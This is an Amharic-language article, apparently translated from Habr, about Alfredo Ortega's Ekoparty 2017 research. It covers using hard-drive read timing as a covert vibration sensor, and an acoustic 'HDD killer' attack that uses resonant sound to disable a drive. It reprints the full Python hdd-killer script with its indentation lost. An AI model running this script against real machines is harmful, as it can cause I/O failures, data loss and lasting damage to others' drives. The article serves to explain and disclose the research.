በቦነስ አይረስ በተካሄደው የኢኮፓርቲ 2017 የኮምፒዩተር ደህንነት ኮንፈረንስ ላይ አርጀንቲና ጠላፊ አልፍሬዶ ኦርቴጋ በጣም አስደሳች የሆነ እድገት አሳይቷል - ማይክራፎን ሳይጠቀሙ ግቢ ውስጥ በድብቅ የስልክ ጥሪ የሚደረግበት ስርዓት። ድምጽ
ኤችዲዲ በዋነኛነት ከፍተኛ ኃይለኛ ዝቅተኛ ድግግሞሽ ድምፆችን፣ ዱካዎችን እና ሌሎች ንዝረቶችን ያነሳል። የሳይንስ ሊቃውንት ምንም እንኳን የሰው ንግግር ገና ሊታወቅ አይችልም
ድምፅ የአየር ንዝረት ወይም ሌላ መካከለኛ ነው። አንድ ሰው ወደ ውስጠኛው ጆሮ ንዝረት በሚያስተላልፈው ታምቡር በኩል ያያቸዋል. ማይክሮፎኑ የተሰራው ልክ እንደ ጆሮ ነው - እዚህም ቢሆን ንዝረት የሚቀዳው በቀጭኑ ሽፋን ሲሆን ይህም የኤሌክትሪክ ግፊትን ያስደስታል። በእርግጥ ሃርድ ድራይቭ በአካባቢው የአየር መለዋወጥ የተነሳ በአጉሊ መነጽር ብቻ የሚታይ ንዝረትም አለበት። ይህ በኤችዲዲዎች ቴክኒካዊ ባህሪያት እንኳን ይታወቃል፡ አምራቾች ብዙውን ጊዜ የሚፈቀደውን ከፍተኛውን የንዝረት ደረጃ ያመለክታሉ, እና ሃርድ ድራይቭ እራሱ ብዙውን ጊዜ ከጎማ ወይም ሌላ መከላከያ ቁሳቁስ በተሰራ የንዝረት መከላከያ መያዣ ውስጥ ለማስቀመጥ ይሞክራል. ከዚህ በመነሳት ድምጾችን HDD በመጠቀም መቅዳት ይቻላል ብሎ መደምደም ቀላል ነው። የቀረው እንዴት እንደሆነ ለማወቅ ነው።
አልፍሬዶ ኦርቴጋ የጎን ቻናል ጥቃትን ማለትም የጊዜ ጥቃትን ልዩ ስሪት አቅርቧል። ይህ ጥቃት በተሰጠው የግብአት መረጃ ላይ በመመስረት በመሳሪያው ላይ በተለያዩ ጊዜያት የተለያዩ ስራዎች ይከናወናሉ በሚለው ግምት ላይ የተመሰረተ ነው. በዚህ ሁኔታ "የግቤት መረጃ" የንባብ ጭንቅላት እና የኤችዲዲ ፕላስተር ንዝረት ነው, እሱም ከአካባቢው ንዝረት ጋር, ማለትም ከድምጽ ጋር ይዛመዳል. ስለዚህ የስሌት ጊዜን በመለካት እና በመረጃው ላይ ስታቲስቲካዊ ትንታኔን በማካሄድ የጭንቅላቱ / የፕላስተር ንዝረት እና በዚህም ምክንያት የመካከለኛው ንዝረትን መለካት ይቻላል. የውሂብ የማንበብ መዘግየት ረዘም ያለ ጊዜ, የኤችዲዲ ንዝረትን ያጠናክራል እና, ስለዚህ, ድምፁ እየጨመረ ይሄዳል.
የሃርድ ድራይቭ ንዝረትን እንዴት መለካት ይቻላል? በጣም ቀላል: የስርዓት ጥሪውን ብቻ ያሂዱ read ()
- እና ለማጠናቀቅ የሚወስደውን ጊዜ ይመዝግቡ። ዘመናዊ ስርዓተ ክወናዎች የስርዓት ጥሪዎችን ጊዜ በ nanosecond ትክክለኛነት እንዲያነቡ ያስችሉዎታል.
የአንድ ሴክተር መረጃን የማንበብ ፍጥነት የሚወሰነው በጭንቅላቱ እና በሰሌዳው አቀማመጥ ላይ ነው ፣ ይህም ከኤችዲዲ መያዣ ንዝረት ጋር ይዛመዳል። ይኼው ነው.
ቀላል የ Kscope መገልገያ በመጠቀም የስታቲስቲክስ ትንተና ይካሄዳል. እነሱ እንደሚሉት ፣ ሁሉም ብልህነት ቀላል ነው።
Kscope utility (stat() syscall)
Kscope በስርዓት ጥሪ አፈጻጸም ጊዜ ውስጥ ጥቃቅን ልዩነቶችን ለመመልከት ትንሽ መገልገያ ነው። ምንጭ
በተለየ ማከማቻ ውስጥ read ()
.
HDD በመጠቀም የድምጽ ቀረጻ ማሳየት, የ Kscope መገልገያ አሠራር
እርግጥ ነው, ንግግር በዚህ መንገድ ሊረዳ አይችልም, ነገር ግን ኤችዲዲ እንደ ንዝረት ዳሳሽ በጣም ተስማሚ ነው. ለምሳሌ አንድ ሰው ጠንካራ ጫማ ያደረገ ወይም በባዶ እግሩ በኮምፒዩተር ወደ ክፍል ከገባ መመዝገብ ይችላሉ (ምናልባት አጥቂው ለስላሳ ስኒከር ከለበሰ ወይም ወለሉ ላይ ወፍራም ምንጣፍ ካለ HDD ንዝረትን መመዝገብ አይችልም - ይህ መፈተሽ ተገቢ ነው)። ኮምፒዩተሩ የተሰበረ ብርጭቆን ወይም ሌሎች ክስተቶችን በጠንካራ የድምፅ መጠን መመዝገብ ይችላል። ማለትም ሃርድ ድራይቭ ያልተፈቀደ የጣልቃ መፈለጊያ ስርዓት አይነት ሆኖ ሊያገለግል ይችላል።
HDD ገዳይ
በነገራችን ላይ ሃርድ ድራይቭን ለማሰናከል ተመሳሳይ ዘዴ መጠቀም ይቻላል. እዚህ ብቻ ማወዛወዝን ከኤችዲዲ አናስወግድም, ግን በተቃራኒው ወደ ኤችዲዲ የሚመገቡ ማወዛወዝን እንፈጥራለን. ከኤችዲዲ ፍሪኩዌንሲ ጋር በሚያስተጋባ ድግግሞሽ ከተናጋሪ ድምጽ ከተጫወቱ ስርዓቱ በቅርቡ መሳሪያውን በ I/O ስህተት ያጠፋል (የሊኑክስ ከርነል ከ120 ሰከንድ በኋላ HDDን ሙሉ በሙሉ ያጠፋል)። ሃርድ ድራይቭ ራሱ የማይመለስ ጉዳት ሊደርስበት ይችላል።
የሊኑክስ ከርነል በሃርድ ድራይቭ ላይ ከ120 ሰከንድ በኋላ ድምጽን በሚያስተጋባ ድግግሞሽ በEdiifier r19u USB ስፒከር ድምጽ ማጉያ በኩል አጠፋው። ተናጋሪው በኃይል አንድ አራተኛ ገደማ (ከ 100 ሜጋ ዋት ያነሰ) በርቷል እና ከኤችዲዲ 20 ሴ.ሜ ርቀት ላይ ይገኛል, ይህም ንዝረትን ለመጨመር በጠረጴዛው ላይ ያነጣጠረ ነው. ፍሬም ከ
በኤችዲዲዎች ላይ እንደዚህ ያሉ "ጥቃቶች" አንዳንድ ጊዜ በዕለት ተዕለት ሕይወት ውስጥ በአጋጣሚ ሙሉ በሙሉ ሊከሰቱ እንደሚችሉ ለማወቅ ጉጉ ነው። ለምሳሌ፣ በሴፕቴምበር 2016፣ የ ING ባንክ መረጃ ማዕከል ከእሳት አደጋ ልምምድ በኋላ ለ10 ሰዓታት ሥራውን ለማቆም ተገዷል።
በመረጃ ማእከል ውስጥ በሃርድ ድራይቭ ላይ የሰዎች ጩኸት ማሳያ። የመዘግየት መለኪያ
የሚያስተጋባውን ድምጽ ለማመንጨት አልፍሬዶ ኦርቴጋ የሚባል የፓይዘን ስክሪፕት ጻፈ
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ምንጭ: hab.com